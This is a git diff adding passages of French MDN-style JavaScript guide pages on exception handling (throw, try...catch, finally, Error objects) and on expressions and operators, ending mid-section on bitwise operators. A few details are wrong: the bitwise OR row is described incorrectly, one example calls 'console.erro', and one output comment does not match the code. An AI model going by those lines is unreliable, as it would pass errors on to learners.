+  this.message = message;
+  this.name = "ExceptionUtilisateur";
+}
+
+// On surcharge la méthode toString pour afficher
+// un message plus explicite (par exemple dans la console)
+ExceptionUtilisateur.prototype.toString = function() {
+  return this.name + ': "' + this.message + '"';
+}
+
+// On crée une instance pour ce type d'objet
+// et on renvoie une exception avec cette instance
+throw new ExceptionUtilisateur("La valeur fournie est trop élevée.");</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/throw">throw</a></code>.</p>
+</div>
+
+<h3 id="Linstruction_try...catch">L'instruction <code>try...catch</code></h3>
+
+<p>L'instruction <code>try...catch</code> permet de définir un bloc d'instructions qu'on essaye (<em>try</em> en anglais) d'exécuter, ainsi qu'une ou plusieurs instructions à utiliser en cas d'erreur lorsqu'une exception se produit. Si une exception est signalée, l'instruction <code>try...catch</code> permettra de l' « attraper » (<em>catch</em> en anglais) et de définir ce qui se passe dans ce cas.</p>
+
+<p>L'instruction <code>try...catch</code> se compose d'un bloc <code>try</code> qui contient une ou plusieurs instructions et blocs <code>catch</code> qui contiennent les instructions à exécuter lorsqu'une exception se produit dans le bloc <code>try</code>. Autrement dit, dans la plupart des cas pour le programme, on veut que les instructions du bloc <code>try</code> se déroulent normalement et en cas de problème, on passe le contrôle au bloc <code>catch</code>. Si une instruction contenue dans le bloc <code>try</code> renvoie une exception, le contrôle sera immédiatement transféré au bloc <code>catch</code>. Si aucune exception n'est signalée au sein du bloc <code>try</code>, le bloc <code>catch</code> ne sera pas utilisé. Cette instruction peut comporter un bloc <code>finally</code> qui s'exécute après les blocs <code>try</code> et <code>catch</code> mais avant les instructions suivant l'instruction <code>try...catch</code>.</p>
+
+<p>Dans l'exemple qui suit, on utilise une instruction <code>try...catch</code>. On définit une fonction qui prend un nombre et renvoie le nom du mois correspondant à ce nombre. Si la valeur fournie n'est pas comprise entre 1 et 12, on signale une exception avec la valeur <code>"NuméroMoisInvalide"</code>. Lorsque cette exception est gérée dans le bloc <code>catch</code>, la variable <code>nomMois</code> recevra la valeur <code>"inconnu"</code>.</p>
+
+<pre class="brush: js">function getNomMois(numMois) {
+  numMois = numMois - 1; // On décale de 1 car les indices du tableaux commencent à 0
+  var mois = ["Janvier", "Février", "Mars", "Avril" ,"Mai", "Juin", "Juillet",
+              "Août", "Septembre", "Octobre", "Novembre", "Décembre"];
+  if (mois[numMois] != null) {
+    return mois[numMois];
+  } else {
+    throw "NuméroMoisInvalide";  // Ici on utilise l'instruction throw
+  }
+}
+
+try { // les instructions à essayer si tout se passe bien
+  nomMois = getNomMois(maVarMois); // La fonction peut renvoyer une exception
+} catch (e) {
+  nomMois = "inconnu";
+  gestionErreurLog(e); // on gère l'erreur avec une fonction
+}
+</pre>
+
+<h4 id="Le_bloc_catch">Le bloc <code>catch</code></h4>
+
+<p>Un bloc <code>catch</code> peut être utilisé afin de gérer les exceptions pouvant être générées par les instructions du bloc <code>try</code>.</p>
+
+<pre class="syntaxbox">catch (ident) {
+  statements
+}
+</pre>
+
+<p>Le bloc <code>catch</code> définit un identifiant (<code>ident</code> dans le fragment de code précédent) qui contiendra la valeur passée par l'instruction <code>throw</code>. Cet identifiant peut être utilisé afin de récupérer des informations sur l'exception qui a été signalée. Le moteur JavaScript crée cet identifiant lorsque le contrôle passe au bloc <code>catch</code>. L'identifiant ne « vit » qu'à l'intérieur du bloc <code>catch</code> et une fois que l'exécution du bloc <code>catch</code> est terminée, l'identifiant n'est plus disponible.</p>
+
+<p>Dans l'exemple suivant, le code renvoie une exception. Lorsque celle-ci est signalée, le contrôle passe au bloc <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+  throw "monException"; // on génère une exception
+} catch (e) {
+  // les instructions utilisées pour gérer les exceptions
+  enregistrerErreurs(e); // on passe l'objet représentant l'exception à une fonction utilisée pour gérer les erreurs
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour plus d'informations sur cette instruction, voir la page de la référence JavaScript sur <a href="/fr/docs/Web/JavaScript/Reference/Instructions/try...catch"><code>try...catch</code></a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Quand on souhaite afficher des erreurs dans la console, on privilégiera <code><a href="/fr/docs/Web/API/Console/error">console.error()</a></code> plutôt que <code><a href="/fr/docs/Web/API/Console/log">console.log()</a></code>. En effet, cette première méthode est plus adaptée et indiquera plus d'informations.</p>
+</div>
+
+<h4 id="Le_bloc_finally">Le bloc <code>finally</code></h4>
+
+<p>Le bloc <code>finally</code> contient les instructions à exécuter après les blocs <code>try</code> et <code>catch</code> mais avant l'instruction suivant le <code>try...catch...finally</code>.</p>
+
+<p>Le bloc <code>finally</code> est exécuté dans tous les cas, <strong>qu'une exception ait été levée ou non</strong>. Si une exception est signalée et qu'il n'y a pas de bloc <code>catch</code> pour la gérer, les instructions du bloc <code>finally</code> seront tout de même exécutées.</p>
+
+<p>Le bloc <code>finally</code> peut être utilisé afin de finir proprement l'exécution malgré une exception. On peut, par exemple, devoir libérer une ressource, ou fermer un flux, etc. Dans l'exemple suivant, on écrit dans un fichier, si une exception se produit lors de l'écriture, on utilisera le bloc <code>finally</code> afin de bien fermer le flux vers le fichier avant la fin du script.</p>
+
+<pre class="brush: js">ouvrirFichier();
+try {
+  écrireFichier(données); // Une erreur peut se produire
+} catch(e) {
+  gérerException(e); // On gère le cas où on a une exception
+} finally {
+  fermerFichier(); // On n'oublie jamais de fermer le flux.
+}
+</pre>
+
+<p>Si le bloc <code>finally</code> renvoie une valeur, cette valeur sera considérée comme la valeur de retour pour tout l'ensemble <code>try-catch-finally</code>, quel que soient les instructions <code>return</code> éventuellement utilisées dans les blocs <code>try</code> et <code>catch</code> :</p>
+
+<pre class="brush: js">function f() {
+  try {
+    console.log(0);
+    throw "bug";
+  } catch(e) {
+    console.log(1);
+    return true; // Cette instruction est bloquée jusqu'à la fin du bloc finally
+    console.log(2); // Ne pourra jamais être exécuté
+  } finally {
+    console.log(3);
+    return false; // On surcharge l'instruction "return" précédente
+    console.log(4); // Ne pourra jamais être exécuté
+  }
+  // "return false" est exécuté
+
+  console.log(5); // Ne pourra jamais être exécuté
+}
+f(); // affiche 0, 1, 3 puis renvoie false
+</pre>
+
+<p>Lorsqu'on surcharge les valeurs de retour avec le bloc <code>finally</code>, cela s'applique également aux exceptions qui sont levées (ou retransmises) au sein du bloc <code>catch</code> :</p>
+
+<pre class="brush: js">function f() {
+  try {
+    throw "problème";
+  } catch(e) {
+    console.log('"problème" interne intercepté');
+    throw e; // cette instruction est mise en attente
+             // tant que le bloc finally n'est pas fini
+  } finally {
+    return false; // surcharge le "throw" précédent
+  }
+  // "return false" est exécuté à ce moment
+}
+
+try {
+  f();
+} catch(e) {
+  // ce bloc n'est jamais utilisé car le throw
+  // utilisé dans le bloc catch a été surchargé
+  // par l'instruction return de finally
+  console.log('"problème" externe intercepté');
+}
+
+// Sortie
+// "problème" interne attrapé</pre>
+
+<h4 id="Imbriquer_des_instructions_try...catch">Imbriquer des instructions <code>try...catch</code></h4>
+
+<p>Il est possible d'imbriquer une ou plusieurs instructions <code>try...catch</code>. Si une instruction <code>try...catch</code> imbriquée ne comporte pas de bloc <code>catch</code>, elle doit contenir une instruction <code>finally</code> et le bloc <code>catch</code> de l'instruction <code>try...catch</code> englobante sera utilisé si jamais il y a une exception. Pour plus de détails, voir la page sur <a href="/fr/docs/Web/JavaScript/Reference/Instructions/try...catch">l'instruction <code>try...catch</code></a>.</p>
+
+<h3 id="Utiliser_les_objets_Error">Utiliser les objets <code>Error</code></h3>
+
+<p>En fonction du type d'erreur qui est créée, on pourra utiliser les propriétés <code>name</code> et <code>message</code> afin d'obtenir plus d'informations. Généralement on a <code>name</code> qui fournit le type d'erreur rencontrée (ex : <code>DOMException</code> ou <code>Error</code>). La propriété <code>message</code>, quant à elle fournit un message descriptif de l'erreur (qu'on utilisera généralement lorsqu'on voudra convertir/afficher le texte correspondant à une erreur).</p>
+
+<p>Si vous construisez des erreurs, vous pouvez utiliser le constructeur <a href="/fr/docs/JavaScript/Reference/Objets_globaux/Error"><code>Error</code></a> afin de disposer de ces propriétés. Ainsi, on pourra avoir :</p>
+
+<pre class="brush: js">function causerErreurs() {
+  if (toutEstSourceDErreurs()) {
+    throw (new Error('mon message'));
+  } else {
+    générerUneAutreErreur();
+  }
+}
+....
+try {
+  causerErreurs();
+} catch (e) {
+  console.error(e.name);// affiche 'Error'
+  console.erro(e.message); // affiche 'mon message' ou un message d'erreur JavaScript
+}</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Types_et_grammaire", "Web/JavaScript/Guide/Boucles_et_itération")}}</p>
diff --git a/files/fr/web/javascript/guide/expressions_et_opérateurs/index.html b/files/fr/web/javascript/guide/expressions_et_opérateurs/index.html
new file mode 100644
index 0000000000..fc922c49ce
--- /dev/null
+++ b/files/fr/web/javascript/guide/expressions_et_opérateurs/index.html
@@ -0,0 +1,934 @@
+---
+title: Expressions et opérateurs
+slug: Web/JavaScript/Guide/Expressions_et_Opérateurs
+tags:
+  - Débutant
+  - Expressions
+  - Guide
+  - JavaScript
+  - Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}</p>
+
+<p class="summary">Ce chapitre décrit les expressions et les opérateurs en JavaScript, il inclut des notions sur les opérateurs d'affectation, de comparaison, les opérateurs arithmétiques, binaires, logiques, ceux qui s'appliquent sur les chaînes de caractères ainsi que les opérateurs spéciaux.</p>
+
+<p>Une liste complète et détaillée des opérateurs JavaScript est disponible dans <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs">la référence JavaScript</a>.</p>
+
+<h2 id="Opérateurs">Opérateurs</h2>
+
+<p>JavaScript possède différents types d'opérateurs. Cette section décrit les opérateurs et certaines informations sur les priorités entre opérateurs.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_d'affectation">Les opérateurs d'affectation</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_de_comparaison">Les opérateurs de comparaison</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_arithmétiques">Les opérateurs arithmétiques</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_binaires">Les opérateurs binaires</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_logiques">Les opérateurs logiques</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_de_chaînes_de_caractères">Les opérateurs de chaînes</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateur_conditionnel_ternaire">L'opérateur (ternaire) conditionnel</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#La_virgule_comme_opérateur">L'opérateur virgule</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_unaires">Les opérateurs unaires</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_et_Opérateurs#Opérateurs_relationnels">Les opérateurs relationnels</a></li>
+</ul>
+
+<p>JavaScript utilise des opérateurs <em>binaires</em> et <em>unaires</em>, ainsi qu'un opérateur ternaire spécial (l'opérateur conditionnel). Un opérateur binaire utilise deux opérandes, un précédant l'opérateur et un lui succédant :</p>
+
+<pre class="syntaxbox"><em>opérande1</em> <em>opérateur</em> <em>opérande2</em>
+</pre>
+
+<p>Par exemple : « <code>3+4</code> » ou « <code>x*y</code> ».</p>
+
+<p>Un opérateur unaire ne nécessite qu'un opérande, avant ou après l'opérateur :</p>
+
+<pre class="syntaxbox"><em>opérateur</em> <em>opérand</em>e</pre>
+
+<p>ou</p>
+
+<pre class="syntaxbox"><em>opérande</em> <em>opérateur</em></pre>
+
+<p>Comme « <code>x++</code> » ou « <code>++x</code> ».</p>
+
+<h3 id="Opérateurs_daffectation">Opérateurs d'affectation</h3>
+
+<p>Un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">opérateur d'affectation</a> assigne une valeur à son opérande gauche, valeur basée sur celle de l'opérande droit. L'opérateur d'affectation simple est le signe égal (=), il assigne la valeur de l'opérande droit à l'opérande gauche. Autrement dit, avec « x = y » on affecte la valeur y à x.</p>
+
+<p>D'autres opérateurs d'affectation sont des raccourcis correspondant à certaines opérations composées, ils sont énumérés dans le tableau qui suit :</p>
+
+<table class="standard-table">
+ <caption>Opérateurs d'affectation</caption>
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Opérateur composé</th>
+   <th scope="col">Signification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_d_affectation#Affectation">Affectation</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_d_affectation#Affectation_apr%C3%A8s_addition">Affectation après addition</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_d_affectation#Affectation_apr%C3%A8s_soustraction">Affectation après soustraction</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_d_affectation#Affectation_apr%C3%A8s_multiplication">Affectation après multiplication</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_division">Affectation après division</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_du_reste">Affectation du reste</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_exponentiation">Affectation après exponentiation</a>{{experimental_inline}}</td>
+   <td><code>x **=y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_décalage_à_gauche">Affectation après décalage à gauche</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_décalage_à_droite">Affectation après décalage à droite</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_décalage_à_droite_non-signé">Affectation après décalage à droite non signé</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_ET_binaire">Affectation après ET binaire</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_OU_exclusif_(XOR)_binaire">Affectation après OU exclusif binaire</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation#Affectation_après_OU_binaire">Affectation après OU binaire</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Décomposition">Décomposition</h4>
+
+<p>Lors d'affectations plus complexes, on peut utiliser <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">l'affectation par décomposition</a>. C'est une expression qui permet d'extraire des données depuis des tableaux ou des objets avec une syntaxe symétrique de littéraux de tableaux ou d'objets pour affecter des variables.</p>
+
+<pre class="brush: js">var toto = ["un", "deux", "trois"];
+
+// sans décomposition
+var un = toto[0];
+var deux = toto[1];
+var trois = toto[2];
+
+// avec la décomposition
+var [un, deux, trois] = toto;</pre>
+
+<h3 id="Opérateurs_de_comparaison">Opérateurs de comparaison</h3>
+
+<p>Un <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">opérateur de comparaison</a> compare ses deux opérandes et renvoie un valeur booléenne correspondant au résultat de la comparaison (vraie ou fausse). Les opérandes peuvent être des nombres, des chaînes de caractères, des booléens ou des objets. Les chaînes de caractères sont comparées selon l'ordre lexicographique usuel en utilisant les valeurs Unicode. Dans la plupart des cas, si les deux opérandes ne sont pas du même type, JavaScript tentera de les convertir vers un type approprié. Cette méthode aboutira souvent à une comparaison numérique. Les seules exceptions à cette conversion implicite sont les opérateurs <code>===</code> et <code>!==</code> , qui testent des égalités et inégalités strictes. Ces opérateurs n'effectuent pas de conversion de type. Le tableau qui suit décrit les opérateurs de comparaisons relativement à ce fragment de code :</p>
+
+<pre class="brush: js">var var1 = 3;
+var var2 = 4;
+</pre>
+
+<table class="standard-table">
+ <caption>Opérateurs de comparaison</caption>
+ <thead>
+  <tr>
+   <th scope="col">Opérateur</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemples qui renvoient <code>true</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#.C3.89galit.C3.A9_simple_(.3D.3D)">Égalité</a> (<code>==</code>)</td>
+   <td>Renvoie <code>true</code> si les opérandes sont égaux après conversion en valeurs de mêmes types.</td>
+   <td><code>3 == var1</code>
+    <p><code>"3" == var1</code></p>
+    <code>3 == '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#In.C3.A9galit.C3.A9_simple_(!.3D)">Inégalité</a> (<code>!=</code>)</td>
+   <td>Renvoie <code>true</code> si les opérandes sont différents.</td>
+   <td><code>var1 != 4<br>
+    var2 != "3"</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)">Égalité stricte </a>(<code>===</code>)</td>
+   <td>Renvoie <code>true</code> si les opérandes sont égaux et de même type. Voir {{jsxref("Object.is","Object.is()")}} et <a href="/fr/docs/JavaScript/Guide/%C3%89galit%C3%A9_en_JavaScript">égalité de type en JavaScript</a>.</td>
+   <td><code>3 === var1</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#In.C3.A9galit.C3.A9_stricte_(!.3D.3D)">Inégalité stricte</a> (<code>!==</code>)</td>
+   <td>Renvoie <code>true</code> si les opérandes ne sont pas égaux ou s'ils ne sont pas de même type.</td>
+   <td><code>var1 !== "3"<br>
+    3 !== '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#Sup.C3.A9rieur_strict_(%3E)">Supériorité stricte</a> (<code>&gt;</code>)</td>
+   <td>Renvoie <code>true</code> si l'opérande gauche est supérieur (strictement) à l'opérande droit.</td>
+   <td><code>var2 &gt; var1<br>
+    "12" &gt; 2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#Sup.C3.A9rieur_ou_.C3.A9gal_(%3E.3D)">Supériorité ou égalité</a> (<code>&gt;=</code>)</td>
+   <td>Renvoie <code>true</code> si l'opérande gauche est supérieur ou égal à l'opérande droit.</td>
+   <td><code>var2 &gt;= var1<br>
+    var1 &gt;= 3</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#Inf.C3.A9rieur_strict_(%3C)">Infériorité stricte</a> (<code>&lt;</code>)</td>
+   <td>Renvoie <code>true</code> si l'opérande gauche est inférieur (strictement) à l'opérande droit.</td>
+   <td><code>var1 &lt; var2<br>
+    "2" &lt; "12"</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison#Inf.C3.A9rieur_ou_.C3.A9gal_(%3C.3D)">Infériorité ou égalité</a> (<code>&lt;=</code>)</td>
+   <td>Renvoie <code>true</code> si l'opérande gauche est inférieur ou égal à l'opérande droit.</td>
+   <td><code>var1 &lt;= var2<br>
+    var2 &lt;= 5</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> <code>=&gt;</code> n'est pas un opérateur. Il s'agit de la notation utilisée pour <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a>.</p>
+</div>
+
+<h3 id="Opérateurs_arithmétiques">Opérateurs arithmétiques</h3>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques">opérateurs arithmétiques</a> ont pour opérandes des valeurs numériques (des littéraux ou des variables) et renvoient une valeur numérique. Les opérateurs arithmétiques standards sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/). Ces opérateurs fonctionnent comme pour la plupart des langages de programmation lorsqu'ils sont utilisés avec des nombres décimaux (on notera que la division par zéro a pour résultat {{jsxref("Infinity")}}). Ainsi :</p>
+
+<pre class="brush: js">1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // true
+</pre>
+
+<p>En plus des opérations arithmétiques standards (+,-,*,/), JavaScript fournit également d'autres opérateurs arithmétiques, listés dans le tableau qui suit :</p>
+
+<table class="fullwidth-table">
+ <caption>Opérateurs arithmétiques</caption>
+ <thead>
+  <tr>
+   <th scope="col">Opérateur</th>
+   <th scope="col">Description</th>
+   <th scope="col">Exemple</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#Reste_(.25)">Reste</a> (<code>%</code>)<br>
+     </td>
+   <td>Opérateur binaire. Renvoie le reste entier de la division entre les deux opérandes.</td>
+   <td>12 % 5 renvoie 2.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#Incr.C3.A9ment_(.2B.2B)">Incrément</a> (<code>++</code>)</td>
+   <td>Opérateur unaire. Ajoute un à son opérande. S'il est utilisé en préfixe (<code>++x</code>), il renvoie la valeur de l'opérande après avoir ajouté un, s'il est utilisé comme opérateur de suffixe (<code>x++</code>), il renvoie la valeur de l'opérande avant d'ajouter un.</td>
+   <td>Si <code>x</code> vaut 3, <code>++x</code> incrémente <code>x</code> à 4 et renvoie 4, <code>x++</code> renvoie 3 et seulement ensuite ajoute un à <code>x</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#D.C3.A9cr.C3.A9ment_(--)">Décrément</a> (<code>--</code>)</td>
+   <td>Opérateur unaire. Il soustrait un à son opérande. Il fonctionne de manière analogue à l'opérateur d'incrément.</td>
+   <td>Si <code>x</code> vaut 3, <code>--x</code> décrémente <code>x</code> à 2 puis renvoie2, <code>x--</code> renvoie 3 puis décrémente la valeur de <code>x</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#N.C3.A9gation_unaire_(-)">Négation unaire</a> (<code>-</code>)</td>
+   <td>Opérateur unaire. Renvoie la valeur opposée de l'opérande.</td>
+   <td>Si <code>x</code> vaut 3, alors <code>-x</code> renvoie -3.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#Plus_unaire_(.2B)">Plus unaire </a>(<code>+</code>)</td>
+   <td>Opérateur unaire. Si l'opérande n'est pas un nombre, il tente de le convertir en une valeur numérique.</td>
+   <td>
+    <p><code>+"3"</code> renvoie <code>3</code>.</p>
+
+    <p><code>+true</code> renvoie <code>1</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_arithm%C3%A9tiques#Exponentiation">Opérateur d'exponentiation</a> (**) (puissance) {{experimental_inline}}</td>
+   <td>Calcule un nombre (base) élevé à une puissance donnée (soit <code>base<sup>puissance</sup></code>)</td>
+   <td>
+    <p><code>2 ** 3</code> renvoie <code>8</code></p>
+
+    <p><code>10 ** -1</code> renvoie <code>0.1</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Opérateurs_binaires">Opérateurs binaires</h3>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">opérateurs binaires</a> voient leurs opérandes comme des ensembles de 32 bits (des zéros et des uns), et non pas comme des nombres décimaux, octaux ou hexadécimaux. Ainsi, le nombre décimal neuf aura une représentation binaire de 1001. Les opérateurs binaires effectuent des opérations sur des représentations binaires mais renvoies des valeurs numériques JavaScript standards.</p>
+
+<p>Le tableau qui suit résume les opérateurs binaires JavaScript :</p>
+
+<table class="standard-table">
+ <caption>Opérateurs binaires</caption>
+ <thead>
+  <tr>
+   <th scope="col">Opérateur</th>
+   <th scope="col">Utilisation</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#&amp;_.28ET_binaire.29">AND (ET) binaire</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>Renvoie un 1 à chaque position binaire pour laquelle les bits des deux opérandes sont à 1.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#|_.28OU_binaire.29">OR (OU) binaire</a></td>
+   <td><code>a | b</code></td>
+   <td>Renvoie un zéro à chaque position binaire pour laquelle au moins un des bits des deux opérandes est à 0.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#.5E_.28XOR_binaire.29">XOR (OU exclusif) binaire</a></td>
+   <td><code>a ^ b</code></td>
+   <td>Renvoie un zéro à chaque position binaire pour laquelle les bits sont les mêmes (et un 1 pour chacun des bits qui est différent).</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#.7E_.28NON_binaire.29">NOT (NON) binaire</a></td>
+   <td><code>~ a</code></td>
+   <td>Inverse les bits de l'opérande.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29">Décalage binaire à gauche</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Décale la représentation binaire de <code>b</code> bits sur la gauche et complète avec des zéros à droite.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29">Décalage binaire à droite</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Décale la représentation binaire de <code>b</code> bits sur la droite en ignorant les bits perdus.</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29">Décalage binaire à droite en complétant avec des zéros</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Décale la représentation binaire de <code>b</code> bits sur la droite en ignorant les bits perdus et ajoute des zéros sur la gauche.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Opérateurs_binaires_logiques">Opérateurs binaires logiques</h4>
+
+<p>Les opérateurs binaires logiques fonctionnent de cette façon :</p>
+
+<ul>
